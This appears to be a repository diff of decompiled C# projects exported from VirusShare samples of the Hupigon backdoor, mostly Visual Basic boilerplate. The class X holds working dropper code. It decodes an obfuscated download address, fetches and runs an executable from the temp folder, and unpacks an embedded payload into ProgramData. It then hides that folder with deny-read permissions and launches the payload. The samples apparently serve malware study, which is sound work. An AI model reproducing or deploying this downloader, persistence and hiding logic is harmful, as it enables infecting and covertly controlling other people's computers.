{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.MySettings
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
MySettings defaultInstance = MySettings.defaultInstance;
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+31
@@ -0,0 +1,31 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.MySettingsProperty
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Habbo.My
|
||||
{
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
get
|
||||
{
|
||||
MySettings settings = MySettings.Default;
|
||||
return settings;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Habbo.My.Resources.Resources
|
||||
// Assembly: Google Hack, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 63AB6DF3-31D5-4D11-9D9E-6D98F624CDAB
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.eqlo-90417dbd8319c587650ad48b44dfe6abc92c86afce4f1b2bd44df0e9ed573bec.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Habbo.My.Resources
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Habbo.My.Resources.Resources.resourceMan, (object) null))
|
||||
Habbo.My.Resources.Resources.resourceMan = new ResourceManager("Habbo.Resources", typeof (Habbo.My.Resources.Resources).Assembly);
|
||||
return Habbo.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Habbo.My.Resources.Resources.resourceCulture;
|
||||
set => Habbo.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
|
||||
internal static byte[] Facebook => (byte[]) RuntimeHelpers.GetObjectValue(Habbo.My.Resources.Resources.ResourceManager.GetObject(nameof (Facebook), Habbo.My.Resources.Resources.resourceCulture));
|
||||
|
||||
internal static byte[] HabboFace => (byte[]) RuntimeHelpers.GetObjectValue(Habbo.My.Resources.Resources.ResourceManager.GetObject(nameof (HabboFace), Habbo.My.Resources.Resources.resourceCulture));
|
||||
}
|
||||
}
|
||||
+14697
File diff suppressed because it is too large
Load Diff
+3
@@ -0,0 +1,3 @@
|
||||
using System.Reflection;
|
||||
|
||||
[assembly: AssemblyVersion("0.0.0.0")]
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{D468C307-D4C7-4135-BB12-05D6AAAD2521}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>12</AssemblyName>
|
||||
<ApplicationVersion>0.0.0.0</ApplicationVersion>
|
||||
<RootNamespace>My</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="X.cs" />
|
||||
<Compile Include="Macrobject\Obfuscator\Copyright (c) Macrobject Software.cs" />
|
||||
<Compile Include="MyApplication.cs" />
|
||||
<Compile Include="MyComputer.cs" />
|
||||
<Compile Include="MyProject.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="M.resx" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "12", "Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.csproj", "{D468C307-D4C7-4135-BB12-05D6AAAD2521}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{D468C307-D4C7-4135-BB12-05D6AAAD2521}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{D468C307-D4C7-4135-BB12-05D6AAAD2521}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{D468C307-D4C7-4135-BB12-05D6AAAD2521}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{D468C307-D4C7-4135-BB12-05D6AAAD2521}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
+10405
File diff suppressed because it is too large
Load Diff
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Macrobject.Obfuscator.Copyright (c) Macrobject Software
|
||||
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
|
||||
|
||||
namespace Macrobject.Obfuscator
|
||||
{
|
||||
public class Copyright\u0020\u0028c\u0029\u0020Macrobject\u0020Software
|
||||
{
|
||||
public string HomePage;
|
||||
public string Obfuscator\u002ENET;
|
||||
public string UNREGISTRED\u0020SOFTWARE;
|
||||
}
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyApplication
|
||||
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : ApplicationBase
|
||||
{
|
||||
internal static int \u002E\u002E\u002E\u002E;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyComputer
|
||||
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: My.MyProject
|
||||
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace My
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+169
@@ -0,0 +1,169 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: X
|
||||
// Assembly: 12, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 02FFA771-B60F-49F4-BE51-37E50E40AF6A
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.Hupigon.mrzd-97a335ad9a7d65429e8d9aedeaa1dd6b93990dd399d43ca43d8ef174c0f0faee.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using My;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Net;
|
||||
using System.Reflection;
|
||||
using System.Resources;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Text;
|
||||
|
||||
internal class X
|
||||
{
|
||||
[STAThread]
|
||||
public static void main()
|
||||
{
|
||||
if (AppDomain.CurrentDomain.BaseDirectory.Length < 4 | Strings.InStr(AppDomain.CurrentDomain.BaseDirectory.ToLower(), "temp") > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
WebClient webClient1 = new WebClient();
|
||||
string path = Interaction.Environ("temp") + "\\jp.exe";
|
||||
WebClient webClient2 = webClient1;
|
||||
string s = "Ahr0CdOVl2XVywrPBMCTys5SzwfKAg9ZDgvYlMnVBs90ywWUmJaXmdKYoteXmJe1nc5LEgu=";
|
||||
string address = X.DEB(ref s);
|
||||
byte[] bytes = webClient2.DownloadData(address);
|
||||
System.IO.File.WriteAllBytes(path, bytes);
|
||||
Interaction.Shell(Interaction.Environ("temp") + "\\jp.exe");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
byte[] bytes1 = X.Z(X.Z((byte[]) new ResourceManager("M", Assembly.GetExecutingAssembly()).GetObject("A")));
|
||||
string Path = Interaction.Environ("programdata") + "\\DCSCRES_SERVERW";
|
||||
string str = Path + "\\DCSCRES_SERVERW.exe";
|
||||
try
|
||||
{
|
||||
FileSystem.MkDir(Path);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
X.BD(ref Path);
|
||||
System.IO.File.WriteAllBytes(str, bytes1);
|
||||
Interaction.Shell(str);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Z(byte[] Byt)
|
||||
{
|
||||
MemoryStream memoryStream = new MemoryStream(Byt);
|
||||
GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Decompress);
|
||||
byte[] buffer = new byte[4];
|
||||
memoryStream.Position = checked (memoryStream.Length - 5L);
|
||||
memoryStream.Read(buffer, 0, 4);
|
||||
int int32 = BitConverter.ToInt32(buffer, 0);
|
||||
memoryStream.Position = 0L;
|
||||
byte[] array = new byte[checked (int32 - 1 + 1)];
|
||||
gzipStream.Read(array, 0, int32);
|
||||
gzipStream.Dispose();
|
||||
memoryStream.Dispose();
|
||||
return array;
|
||||
}
|
||||
|
||||
public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(X.Lu(ref s)));
|
||||
|
||||
public static string Lu(ref string text)
|
||||
{
|
||||
string str1 = "qwertyuiopasdfghjklzxcvbnm";
|
||||
string str2 = "";
|
||||
int num1 = checked (text.Length - 1);
|
||||
int index1 = 0;
|
||||
if ((MyApplication.\u002E\u002E\u002E\u002E & 1030) == 0)
|
||||
goto label_10;
|
||||
label_1:
|
||||
int num2 = checked (str1.Length - 1);
|
||||
int index2 = 0;
|
||||
if ((MyApplication.\u002E\u002E\u002E\u002E & 22) == 0)
|
||||
goto label_7;
|
||||
label_2:
|
||||
char ch1 = text[index1];
|
||||
char ch2;
|
||||
if ((int) ch1 == (int) str1[index2])
|
||||
{
|
||||
string str3 = str2;
|
||||
ch2 = text[index1];
|
||||
string upper = ch2.ToString().ToUpper();
|
||||
str2 = str3 + upper;
|
||||
if ((MyApplication.\u002E\u002E\u002E\u002E & 5700) == 0)
|
||||
goto label_9;
|
||||
}
|
||||
int num3 = (int) ch1;
|
||||
ch2 = str1[index2];
|
||||
int num4 = (int) Conversions.ToChar(ch2.ToString().ToUpper());
|
||||
if (num3 == num4)
|
||||
{
|
||||
str2 += text[index1].ToString().ToLower();
|
||||
if ((MyApplication.\u002E\u002E\u002E\u002E & 1538) == 0)
|
||||
goto label_9;
|
||||
}
|
||||
checked { ++index2; }
|
||||
label_7:
|
||||
if (index2 > num2)
|
||||
str2 += Conversions.ToString(text[index1]);
|
||||
else
|
||||
goto label_2;
|
||||
label_9:
|
||||
checked { ++index1; }
|
||||
label_10:
|
||||
if (index1 > num1)
|
||||
return str2;
|
||||
goto label_1;
|
||||
}
|
||||
|
||||
public static void BD(ref string Path)
|
||||
{
|
||||
DirectorySecurity accessControl1 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
IEnumerator enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = accessControl1.GetAccessRules(true, true, typeof (NTAccount)).GetEnumerator();
|
||||
if ((MyApplication.\u002E\u002E\u002E\u002E & 4624) == 0)
|
||||
goto label_5;
|
||||
label_2:
|
||||
FileSystemAccessRule current = (FileSystemAccessRule) enumerator.Current;
|
||||
try
|
||||
{
|
||||
DirectorySecurity accessControl2 = Directory.GetAccessControl(Path, AccessControlSections.All);
|
||||
FileSystemAccessRule rule = new FileSystemAccessRule((IdentityReference) new NTAccount(Strings.Split(current.IdentityReference.Value, "\\")[1]), FileSystemRights.ReadData, AccessControlType.Deny);
|
||||
accessControl2.AddAccessRule(rule);
|
||||
Directory.SetAccessControl(Path, accessControl2);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
label_5:
|
||||
if (enumerator.MoveNext())
|
||||
goto label_2;
|
||||
}
|
||||
finally
|
||||
{
|
||||
if (enumerator is IDisposable)
|
||||
(enumerator as IDisposable).Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user